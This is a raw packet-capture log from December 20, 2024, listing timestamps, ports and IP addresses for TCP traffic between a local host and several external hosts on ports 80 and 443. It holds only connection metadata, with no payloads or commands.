Dec 20, 2024 17:43:47.097903967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.098051071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.098664999 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.098678112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.098723888 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.098740101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.099385023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.099441051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.099447012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.099538088 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.100589991 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.100601912 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.100656033 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.101507902 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.101569891 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.101773024 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.101825953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.102526903 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.102590084 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.103307962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.103358984 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.103634119 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.103646040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.103688955 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.103707075 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.104553938 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.104613066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.105086088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.105143070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.105772018 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.105782986 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.105825901 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.105859041 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.106710911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.106759071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.107161045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.107214928 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.107942104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.107954025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.107988119 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.108015060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.108791113 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.108851910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.108896971 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.109862089 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.109903097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.109906912 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.109932899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.110797882 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.110858917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.110923052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.110960007 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.112051964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.112097025 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.112410069 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.112613916 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.112884045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.112940073 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.113555908 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.113604069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.113945007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.114140034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.114236116 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.114497900 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.114972115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.115012884 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.115242958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.115288019 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.116082907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.116147995 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.116467953 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.116800070 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.117129087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.117178917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.117372036 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.117413998 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.118176937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.118227005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.118752003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.118815899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.119141102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.119205952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.119816065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.119910002 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.120215893 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.120271921 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.120358944 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.120431900 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.121237040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.121282101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.121623993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.121678114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.122271061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.122318029 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.122447014 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.122507095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.123353958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.123367071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.123420000 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.124367952 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.124418974 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.124790907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.124912024 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.125483990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.125508070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.125540972 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.125560045 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.126512051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.126597881 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.127160072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.127213955 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.127500057 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.127545118 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.127693892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.127742052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.128490925 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.128540039 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.128834009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.128894091 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.129554033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.129610062 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.129673958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.129714012 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.130851030 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.130906105 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.131016970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.131058931 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.131803989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.131908894 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.132428885 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.132492065 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.132795095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.132807970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.132848978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.133719921 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.133769035 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.134027004 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.134071112 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.134812117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.134852886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.135350943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.135416031 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.135927916 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.135940075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.135981083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.136830091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.136892080 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.136941910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.136982918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.137336016 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137348890 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137360096 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137398958 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.137546062 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.137583971 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137595892 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137607098 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137619972 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.137674093 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.137674093 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.138050079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.138062954 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.138075113 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.138107061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.138129950 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.138395071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.138406992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.138457060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.138955116 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.139010906 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.139151096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.139199018 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.139991999 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.140003920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.140044928 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.140075922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.141201019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.141259909 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.141292095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.141407013 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.142102957 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.142155886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.142164946 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.142328978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.143106937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.143166065 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.143352032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.143393993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.144174099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.144283056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.144342899 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.144634962 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.145148993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.145186901 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.145292044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.145412922 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.146217108 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.146275043 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.146377087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.146416903 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.147294998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.147366047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.147430897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.147479057 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.148293972 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.148358107 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.148542881 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.148587942 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.149327040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.149386883 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.257143021 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.257163048 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.257486105 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.286591053 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:47.286689043 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:47.286807060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.286827087 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:47.286874056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.287198067 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:47.287225008 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:47.287240982 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:47.287246943 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:47.287363052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.287375927 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.287396908 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.287419081 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.287455082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.288438082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.288793087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.288806915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.288830996 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.288866997 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.289846897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.289999008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.290077925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.290865898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.290941954 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.291218996 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.291888952 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.291951895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.292640924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.292808056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.292910099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.292922020 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.292957067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.293925047 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.294076920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.294135094 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.294996977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.295161963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.295231104 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.296055079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.296116114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.296289921 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.296525955 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:47.296545982 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.296550035 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:47.296828985 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:47.297054052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.297427893 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.297476053 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.298137903 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.298350096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.298403978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.299130917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.299191952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.299499989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.300194979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.300256014 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.300672054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.300797939 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.301208019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.301248074 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:47.301259995 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:47.301261902 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.301762104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.302254915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.302315950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.302412033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.302741051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.303251982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.303320885 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.303806067 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.303847075 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.304307938 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.304357052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.304718018 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.304800987 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.305342913 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.305387974 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.305536985 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.305586100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.306550026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.306562901 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.306605101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.306632042 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.307543993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.307593107 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.307852030 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.308568954 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.308614969 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.308706045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.308792114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.309556007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.310024977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.310197115 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.310301065 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:47.310406923 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:47.310471058 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:47.310611010 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.310686111 CET	49774	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:47.310686111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.310700893 CET	443	49774	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:47.310715914 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.310755968 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.311820984 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.311832905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.311880112 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.312604904 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.312654018 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.313117981 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.313769102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.313829899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.314553976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.314615011 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.314748049 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.314800024 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.315150976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.315203905 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.315918922 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.315969944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.316287041 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.316343069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.316831112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.317086935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.317131042 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.317904949 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.318289995 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.318342924 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.318914890 CET	80	49769	31.41.244.11	192.168.2.6
